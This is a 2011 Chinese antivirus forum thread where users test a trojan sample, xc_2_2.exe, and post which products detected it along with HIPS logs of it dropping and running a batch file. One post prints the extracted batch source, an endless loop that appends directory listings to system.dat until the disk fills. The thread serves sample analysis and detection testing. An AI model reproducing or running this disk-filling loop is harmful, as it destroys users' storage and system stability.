邪恶的xc_2_2.exe（吞噬可用空间）

polluxkyo

FS Kill

结果: 发现 1 个恶意软件
Trojan:W32/Agent.DSFW (病毒)
C:\Documents and Settings\DELL\桌面\xc_2_2.zip\xc_2_2.exe

小飞侠.net

alsten1 发表于 2011-6-25 14:34
360下载保护干掉！

QVM没反应

hddu

2011-06-25 17:22:59    创建文件      操作:允许
进程路径:F:\virus\xc_2_2\xc_2_2.exe
文件路径:C:\Windows\System32\xc_2_2.bat
触发规则:所有程序规则->WINDOWS文件设置->%windir%\system32\*.bat


2011-06-25 17:22:59    创建文件      操作:允许
进程路径:F:\virus\xc_2_2\xc_2_2.exe
文件路径:C:\Windows\System32\xc_2_2.bat
触发规则:所有程序规则->WINDOWS文件设置->%windir%\system32\*.bat


2011-06-25 17:22:59    创建文件      操作:允许
进程路径:F:\virus\xc_2_2\xc_2_2.exe
文件路径:C:\Windows\System32\xc_2_2.bat
触发规则:所有程序规则->WINDOWS文件设置->%windir%\system32\*.bat


2011-06-25 17:22:59    运行应用程序      操作:允许
进程路径:F:\virus\xc_2_2\xc_2_2.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c ""C:\Windows\System32\xc_2_2.bat"  > NUL"
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe


2011-06-25 17:22:59    修改文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\system.dat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


2011-06-25 17:22:59    修改文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\system.dat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


2011-06-25 17:22:59    修改文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\system.dat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*2011-06-25 17:22:59    修改文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\system.dat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


2011-06-25 17:22:59    修改文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\system.dat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


2011-06-25 17:22:59    修改文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\system.dat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


2011-06-25 17:22:59    修改文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\system.dat
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*


调用cmd.exe修改system.dat，使system.dat膨胀。厉害。

钢铁侠

MSE pass。

aysz

hddu 发表于 2011-6-25 17:44
2011-06-25 17:22:59    创建文件      操作:允许
进程路径:F:\virus\xc_2_2\xc_2_2.exe
文件路径:C:\Win ...

其实源代码是我写的，原来是填充u盘空间防病毒的。没想到被人改成这样了

451102995

TO...PCA

shendu8000

kis2010无反应～～～

Dirk

to avast!

ppy0606

2011-6-25 23:48:10    创建文件    阻止
进程: d:\我的文档\virus test\xc_2_2\xc_2_2.exe
目标: C:\Windows\System32\xc_2_2.bat
规则: [应用程序组]●研磨 -> [文件组]文件保护 -> [文件]c:\windows\system32\*

2011-6-25 23:48:10    创建文件    允许
进程: d:\我的文档\virus test\xc_2_2\xc_2_2.exe
目标: C:\Documents and Settings\9eyes.PPY\Local Settings\Temp\19155484.bat
规则: [应用程序组]●研磨 -> [应用程序]d:\我的文档\virus test\xc_2_2\xc_2_2.exe -> [文件组]允许文件 -> [文件]?:\*\local*\temp\*

2011-6-25 23:48:10    创建新进程    允许
进程: d:\我的文档\virus test\xc_2_2\xc_2_2.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd /c ""C:\DOCUME~1\9eyes.PPY\LOCALS~1\Temp\19155484.bat"  > NUL"
规则: [应用程序组]●研磨 -> [应用程序]d:\我的文档\virus test\xc_2_2\xc_2_2.exe -> [子应用程序]c:\windows\system32\cmd.exe

1. 
   
2. @rem ----- ExeScript Options Begin -----
   
3.                                        
   
4.                                        
   
5.                                        
   
6.                                              
   
7. @rem ----- ExeScript Options End -----
   
8. nd -----
   
9. ---
   
10. echo off
    
11. cls
    
12. color 05
    
13. cls
    
14. :dir
    
15. dir %windir%\winsxs\ >>system.dat
    
16. goto dir

复制代码

-oAo-

360报木马